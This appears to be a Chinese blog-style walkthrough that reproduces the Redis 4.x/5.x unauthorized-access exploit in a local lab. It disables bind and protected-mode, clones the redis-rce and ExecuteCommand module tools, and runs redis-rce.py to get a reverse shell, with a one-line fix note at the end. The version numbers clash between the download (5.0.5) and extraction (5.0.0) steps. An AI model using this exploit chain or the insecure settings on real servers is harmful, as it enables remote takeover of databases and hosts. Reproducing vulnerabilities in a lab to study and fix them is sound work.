5.0版本下载

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar xzf redis-5.0.0.tar.gz
cd redis-5.0.5
make

修改配置文件运行远程访问

1、将redis.conf文件中的bind 127.0.0.1 这行前面加注释(#); 2、将redis.conf文件中的 protected-mode yes 改为no;

运行Redis

./redis-server /root/redis/redis-5.0.0/redis.conf

 

 

下载EXP

git clone [url]https://github.com/Ridter/redis-rce.git[/url]
git clone [url]https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git[/url]

 

编译module.so文件:

Redis 4.x 5.x 未授权访问

将编译完的module.so复制到redis-rce目录下,然后执行以下命令:

Redis 4.x 5.x 未授权访问

python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

 -r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的60720端口,并成功反弹回了shell。

Redis 4.x 5.x 未授权访问

 

 

修复建议

这是针对redis未授权访问的漏洞 这里直接redis.conf文件里面的  requirepass 参数取消注释   这里5.0是默认开启未授权访问的

Redis 4.x 5.x 未授权访问

 

相关文章:

  • 2021-11-14
  • 2022-02-17
  • 2021-09-08
猜你喜欢
  • 2022-12-23
  • 2021-04-11
  • 2021-10-25
  • 2021-09-16
  • 2021-09-14
  • 2022-12-23
  • 2022-01-11
相关资源
相似解决方案